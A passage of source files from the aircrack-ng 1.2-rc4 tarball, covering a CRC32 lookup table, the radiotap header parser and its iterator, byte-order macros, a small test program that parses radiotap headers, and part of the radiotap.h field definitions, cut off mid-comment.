wi->wi_set_rate = net_set_rate; wi->wi_get_rate = net_get_rate; wi->wi_close = net_close; wi->wi_fd = net_fd; wi->wi_get_mac = net_get_mac; wi->wi_get_monitor = net_get_monitor; /* setup iface */ s = do_net_open(iface); if (s == -1) { do_net_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_s = s; pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue; pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free; return wi; } aircrack-ng-1.2-rc4/src/osdep/crctable_osdep.h0000644000000000000000000000640510761053203017746 0ustar rootroot#ifndef _CRCTABLE_OSDEP_H #define _CRCTABLE_OSDEP_H const unsigned long int crc_tbl_osdep[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; #endif /* crctable_osdep.h */ aircrack-ng-1.2-rc4/src/osdep/radiotap/0000755000000000000000000000000012660222375016432 5ustar rootrootaircrack-ng-1.2-rc4/src/osdep/radiotap/radiotap_iter.h0000644000000000000000000000556412313371023021431 0ustar rootroot#ifndef __RADIOTAP_ITER_H #define __RADIOTAP_ITER_H #include #include "radiotap.h" /* Radiotap header iteration * implemented in radiotap.c */ struct radiotap_override { uint8_t field; uint8_t align:4, size:4; }; struct radiotap_align_size { uint8_t align:4, size:4; }; struct ieee80211_radiotap_namespace { const struct radiotap_align_size *align_size; int n_bits; uint32_t oui; uint8_t subns; }; struct ieee80211_radiotap_vendor_namespaces { const struct ieee80211_radiotap_namespace *ns; int n_ns; }; /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @this_arg_index: index of current arg, valid after each successful call * to ieee80211_radiotap_iterator_next() * @this_arg: pointer to current radiotap arg; it is valid after each * call to ieee80211_radiotap_iterator_next() but also after * ieee80211_radiotap_iterator_init() where it will point to * the beginning of the actual data portion * @this_arg_size: length of the current arg, for convenience * @current_namespace: pointer to the current namespace definition * (or internally %NULL if the current namespace is unknown) * @is_radiotap_ns: indicates whether the current namespace is the default * radiotap namespace or not * * @overrides: override standard radiotap fields * @n_overrides: number of overrides * * @_rtheader: pointer to the radiotap header we are walking through * @_max_length: length of radiotap header in cpu byte ordering * @_arg_index: next argument index * @_arg: next argument pointer * @_next_bitmap: internal pointer to next present u32 * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present * @_vns: vendor namespace definitions * @_next_ns_data: beginning of the next namespace's data * @_reset_on_ext: internal; reset the arg index to 0 when going to the * next bitmap word * * Describes the radiotap parser state. Fields prefixed with an underscore * must not be used by users of the parser, only by the parser internally. */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *_rtheader; const struct ieee80211_radiotap_vendor_namespaces *_vns; const struct ieee80211_radiotap_namespace *current_namespace; unsigned char *_arg, *_next_ns_data; uint32_t *_next_bitmap; unsigned char *this_arg; #ifdef RADIOTAP_SUPPORT_OVERRIDES const struct radiotap_override *overrides; int n_overrides; #endif int this_arg_index; int this_arg_size; int is_radiotap_ns; int _max_length; int _arg_index; uint32_t _bitmap_shifter; int _reset_on_ext; }; extern int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns); extern int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator); #endif /* __RADIOTAP_ITER_H */ aircrack-ng-1.2-rc4/src/osdep/radiotap/platform.h0000644000000000000000000000255112630747456020443 0ustar rootroot#include #include #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__NetBSD__) #include #elif defined(__APPLE__) #include #include #define htobe16(x) OSSwapHostToBigInt16(x) #define htole16(x) OSSwapHostToLittleInt16(x) #define be16toh(x) OSSwapBigToHostInt16(x) #define le16toh(x) OSSwapLittleToHostInt16(x) #define htobe32(x) OSSwapHostToBigInt32(x) #define htole32(x) OSSwapHostToLittleInt32(x) #define be32toh(x) OSSwapBigToHostInt32(x) #define le32toh(x) OSSwapLittleToHostInt32(x) #define htobe64(x) OSSwapHostToBigInt64(x) #define htole64(x) OSSwapHostToLittleInt64(x) #define be64toh(x) OSSwapBigToHostInt64(x) #define le64toh(x) OSSwapLittleToHostInt64(x) #define __BIG_ENDIAN BIG_ENDIAN #define __LITTLE_ENDIAN LITTLE_ENDIAN #define __BYTE_ORDER BYTE_ORDER #elif !defined(__sun__) #include #endif #define le16_to_cpu le16toh #define le32_to_cpu le32toh #define get_unaligned(p) \ ({ \ struct packed_dummy_struct { \ typeof(*(p)) __val; \ } __attribute__((packed)) *__ptr = (void *) (p); \ \ __ptr->__val; \ }) #define get_unaligned_le16(p) le16_to_cpu(get_unaligned((uint16_t *)(p))) #define get_unaligned_le32(p) le32_to_cpu(get_unaligned((uint32_t *)(p))) aircrack-ng-1.2-rc4/src/osdep/radiotap/radiotap.c0000644000000000000000000003042412656012623020402 0ustar rootroot/* * Radiotap parser * * Copyright 2007 Andy Green * Copyright 2009 Johannes Berg * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See COPYING for more details. */ #include "radiotap_iter.h" #include "platform.h" #if defined(ANDROID) || defined(__ANDROID__) || (defined(__sun) && defined(__SVR4)) #include "../byteorder.h" #endif /* function prototypes and related defs are in radiotap_iter.h */ static const struct radiotap_align_size rtap_namespace_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, }, [IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, }, [IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, }, [IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, }, [IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, }, [IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, }, /* * add more here as they are defined in radiotap.h */ }; static const struct ieee80211_radiotap_namespace radiotap_ns = { .n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]), .align_size = rtap_namespace_sizes, }; /** * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization * @iterator: radiotap_iterator to initialize * @radiotap_header: radiotap header to parse * @max_length: total length we can parse into (eg, whole packet length) * * Returns: 0 or a negative error code if there is a problem. * * This function initializes an opaque iterator struct which can then * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap * argument which is present in the header. It knows about extended * present headers and handles them. * * How to use: * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * checking for a good 0 return code. Then loop calling * __ieee80211_radiotap_iterator_next()... it returns either 0, * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. * The iterator's @this_arg member points to the start of the argument * associated with the current argument index that is present, which can be * found in the iterator's @this_arg_index member. This arg index corresponds * to the IEEE80211_RADIOTAP_... defines. * * Radiotap header length: * You can find the CPU-endian total radiotap header length in * iterator->max_length after executing ieee80211_radiotap_iterator_init() * successfully. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. * * Example code: parse.c */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns) { /* must at least have the radiotap header */ if (max_length < (int)sizeof(struct ieee80211_radiotap_header)) return -EINVAL; /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return -EINVAL; /* sanity check for allowed length and radiotap length field */ if (max_length < get_unaligned_le16(&radiotap_header->it_len)) return -EINVAL; iterator->_rtheader = radiotap_header; iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len); iterator->_arg_index = 0; iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present); iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header); iterator->_reset_on_ext = 0; iterator->_next_bitmap = &radiotap_header->it_present; iterator->_next_bitmap++; iterator->_vns = vns; iterator->current_namespace = &radiotap_ns; iterator->is_radiotap_ns = 1; #ifdef RADIOTAP_SUPPORT_OVERRIDES iterator->n_overrides = 0; iterator->overrides = NULL; #endif /* find payload start allowing for extended bitmap(s) */ if (iterator->_bitmap_shifter & (1<_arg - (unsigned long)iterator->_rtheader + sizeof(uint32_t) > (unsigned long)iterator->_max_length) return -EINVAL; while (get_unaligned_le32(iterator->_arg) & (1 << IEEE80211_RADIOTAP_EXT)) { iterator->_arg += sizeof(uint32_t); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader + sizeof(uint32_t) > (unsigned long)iterator->_max_length) return -EINVAL; } iterator->_arg += sizeof(uint32_t); /* * no need to check again for blowing past stated radiotap * header length, because ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } iterator->this_arg = iterator->_arg; /* we are all initialized happily */ return 0; } static void find_ns(struct ieee80211_radiotap_iterator *iterator, uint32_t oui, uint8_t subns) { int i; iterator->current_namespace = NULL; if (!iterator->_vns) return; for (i = 0; i < iterator->_vns->n_ns; i++) { if (iterator->_vns->ns[i].oui != oui) continue; if (iterator->_vns->ns[i].subns != subns) continue; iterator->current_namespace = &iterator->_vns->ns[i]; break; } } #ifdef RADIOTAP_SUPPORT_OVERRIDES static int find_override(struct ieee80211_radiotap_iterator *iterator, int *align, int *size) { int i; if (!iterator->overrides) return 0; for (i = 0; i < iterator->n_overrides; i++) { if (iterator->_arg_index == iterator->overrides[i].field) { *align = iterator->overrides[i].align; *size = iterator->overrides[i].size; if (!*align) /* erroneous override */ return 0; return 1; } } return 0; } #endif /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: 0 if there is an argument to handle, * -ENOENT if there are no more args or -EINVAL * if there is something else wrong. * * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) * in @this_arg_index and sets @this_arg to point to the * payload for the field. It takes care of alignment handling and extended * present fields. @this_arg can be changed by the caller (eg, * incremented to move inside a compound argument like * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in * little-endian format whatever the endianess of your CPU. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator) { while (1) { int hit = 0; int pad, align, size, subns; uint32_t oui; /* if no more EXT bits, that's it */ if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT && !(iterator->_bitmap_shifter & 1)) return -ENOENT; if (!(iterator->_bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* get alignment/size of data */ switch (iterator->_arg_index % 32) { case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE: case IEEE80211_RADIOTAP_EXT: align = 1; size = 0; break; case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: align = 2; size = 6; break; default: #ifdef RADIOTAP_SUPPORT_OVERRIDES if (find_override(iterator, &align, &size)) { /* all set */ } else #endif if (!iterator->current_namespace || iterator->_arg_index >= iterator->current_namespace->n_bits) { if (iterator->current_namespace == &radiotap_ns) return -ENOENT; align = 0; } else { align = iterator->current_namespace->align_size[iterator->_arg_index].align; size = iterator->current_namespace->align_size[iterator->_arg_index].size; } if (!align) { /* skip all subsequent data */ iterator->_arg = iterator->_next_ns_data; /* give up on this namespace */ iterator->current_namespace = NULL; goto next_entry; } break; } /* * arg is present, account for alignment padding * * Note that these alignments are relative to the start * of the radiotap header. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. * * The above is why get_unaligned() is used to dereference * multibyte elements from the radiotap area. */ pad = ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader) & (align - 1); if (pad) iterator->_arg += align - pad; if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) { int vnslen; if ((unsigned long)iterator->_arg + size - (unsigned long)iterator->_rtheader > (unsigned long)iterator->_max_length) return -EINVAL; oui = (*iterator->_arg << 16) | (*(iterator->_arg + 1) << 8) | *(iterator->_arg + 2); subns = *(iterator->_arg + 3); find_ns(iterator, oui, subns); vnslen = get_unaligned_le16(iterator->_arg + 4); iterator->_next_ns_data = iterator->_arg + size + vnslen; if (!iterator->current_namespace) size += vnslen; } /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->_arg_index; iterator->this_arg = iterator->_arg; iterator->this_arg_size = size; /* internally move on the size of this arg */ iterator->_arg += size; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if ((unsigned long)iterator->_arg - (unsigned long)iterator->_rtheader > (unsigned long)iterator->_max_length) return -EINVAL; /* these special ones are valid in each bitmap word */ switch (iterator->_arg_index % 32) { case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: iterator->_reset_on_ext = 1; iterator->is_radiotap_ns = 0; /* * If parser didn't register this vendor * namespace with us, allow it to show it * as 'raw. Do do that, set argument index * to vendor namespace. */ iterator->this_arg_index = IEEE80211_RADIOTAP_VENDOR_NAMESPACE; if (!iterator->current_namespace) hit = 1; goto next_entry; case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE: iterator->_reset_on_ext = 1; iterator->current_namespace = &radiotap_ns; iterator->is_radiotap_ns = 1; goto next_entry; case IEEE80211_RADIOTAP_EXT: /* * bit 31 was set, there is more * -- move to next u32 bitmap */ iterator->_bitmap_shifter = get_unaligned_le32(iterator->_next_bitmap); iterator->_next_bitmap++; if (iterator->_reset_on_ext) iterator->_arg_index = 0; else iterator->_arg_index++; iterator->_reset_on_ext = 0; break; default: /* we've got a hit! */ hit = 1; next_entry: iterator->_bitmap_shifter >>= 1; iterator->_arg_index++; } /* if we found a valid arg earlier, return it now */ if (hit) return 0; } } aircrack-ng-1.2-rc4/src/osdep/radiotap/parse.c0000644000000000000000000001007312563772244017720 0ustar rootroot#ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include #include #include #include #include #include #include #include #include #include "radiotap_iter.h" static int fcshdr = 0; static const struct radiotap_align_size align_size_000000_00[] = { [0] = { .align = 1, .size = 4, }, [52] = { .align = 1, .size = 4, }, }; static const struct ieee80211_radiotap_namespace vns_array[] = { { .oui = 0x000000, .subns = 0, .n_bits = sizeof(align_size_000000_00), .align_size = align_size_000000_00, }, }; static const struct ieee80211_radiotap_vendor_namespaces vns = { .ns = vns_array, .n_ns = sizeof(vns_array)/sizeof(vns_array[0]), }; static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter) { switch (iter->this_arg_index) { case IEEE80211_RADIOTAP_TSFT: printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg)); break; case IEEE80211_RADIOTAP_FLAGS: printf("\tflags: %02x\n", *iter->this_arg); break; case IEEE80211_RADIOTAP_RATE: printf("\trate: %lf\n", (double)*iter->this_arg/2); break; case IEEE80211_RADIOTAP_CHANNEL: case IEEE80211_RADIOTAP_FHSS: case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: case IEEE80211_RADIOTAP_DBM_ANTNOISE: case IEEE80211_RADIOTAP_LOCK_QUALITY: case IEEE80211_RADIOTAP_TX_ATTENUATION: case IEEE80211_RADIOTAP_DB_TX_ATTENUATION: case IEEE80211_RADIOTAP_DBM_TX_POWER: case IEEE80211_RADIOTAP_ANTENNA: case IEEE80211_RADIOTAP_DB_ANTSIGNAL: case IEEE80211_RADIOTAP_DB_ANTNOISE: case IEEE80211_RADIOTAP_TX_FLAGS: break; case IEEE80211_RADIOTAP_RX_FLAGS: if (fcshdr) { printf("\tFCS in header: %.8x\n", le32toh(*(uint32_t *)iter->this_arg)); break; } printf("\tRX flags: %#.4x\n", le16toh(*(uint16_t *)iter->this_arg)); break; case IEEE80211_RADIOTAP_RTS_RETRIES: case IEEE80211_RADIOTAP_DATA_RETRIES: break; break; default: printf("\tBOGUS DATA\n"); break; } } static void print_test_namespace(struct ieee80211_radiotap_iterator *iter) { switch (iter->this_arg_index) { case 0: case 52: printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n", iter->this_arg_index, *iter->this_arg, *(iter->this_arg + 1), *(iter->this_arg + 2), *(iter->this_arg + 3)); break; default: printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index); break; } } static const struct radiotap_override overrides[] = { { .field = 14, .align = 4, .size = 4, } }; int main(int argc, char *argv[]) { struct ieee80211_radiotap_iterator iter; struct stat statbuf; int fd, err, fnidx = 1, i; void *data; if (argc != 2 && argc != 3) { fprintf(stderr, "usage: parse [--fcshdr] \n"); fprintf(stderr, " --fcshdr: read bit 14 as FCS\n"); return 2; } if (strcmp(argv[1], "--fcshdr") == 0) { fcshdr = 1; fnidx++; } fd = open(argv[fnidx], O_RDONLY); if (fd < 0) { fprintf(stderr, "cannot open file %s\n", argv[fnidx]); return 2; } if (fstat(fd, &statbuf)) { perror("fstat"); return 2; } data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0); err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns); if (err) { printf("malformed radiotap header (init returns %d)\n", err); return 3; } #ifdef RADIOTAP_SUPPORT_OVERRIDES if (fcshdr) { iter.overrides = overrides; iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]); } #endif while (!(err = ieee80211_radiotap_iterator_next(&iter))) { if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) { printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n", iter.this_arg[0], iter.this_arg[1], iter.this_arg[2], iter.this_arg[3], iter.this_arg_size - 6); for (i = 6; i < iter.this_arg_size; i++) { if (i % 8 == 6) printf("\t\t"); else printf(" "); printf("%.2x", iter.this_arg[i]); } printf("\n"); } else if (iter.is_radiotap_ns) print_radiotap_namespace(&iter); else if (iter.current_namespace == &vns_array[0]) print_test_namespace(&iter); } if (err != -ENOENT) { printf("malformed radiotap data\n"); return 3; } return 0; } aircrack-ng-1.2-rc4/src/osdep/radiotap/radiotap.h0000644000000000000000000002515312313371023020402 0ustar rootroot/*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H #include /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { uint8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ uint8_t it_pad; uint16_t it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ uint32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x uint16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS uint16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * * IEEE80211_RADIOTAP_MCS u8, u8, u8 unitless * * Contains a bitmap of known 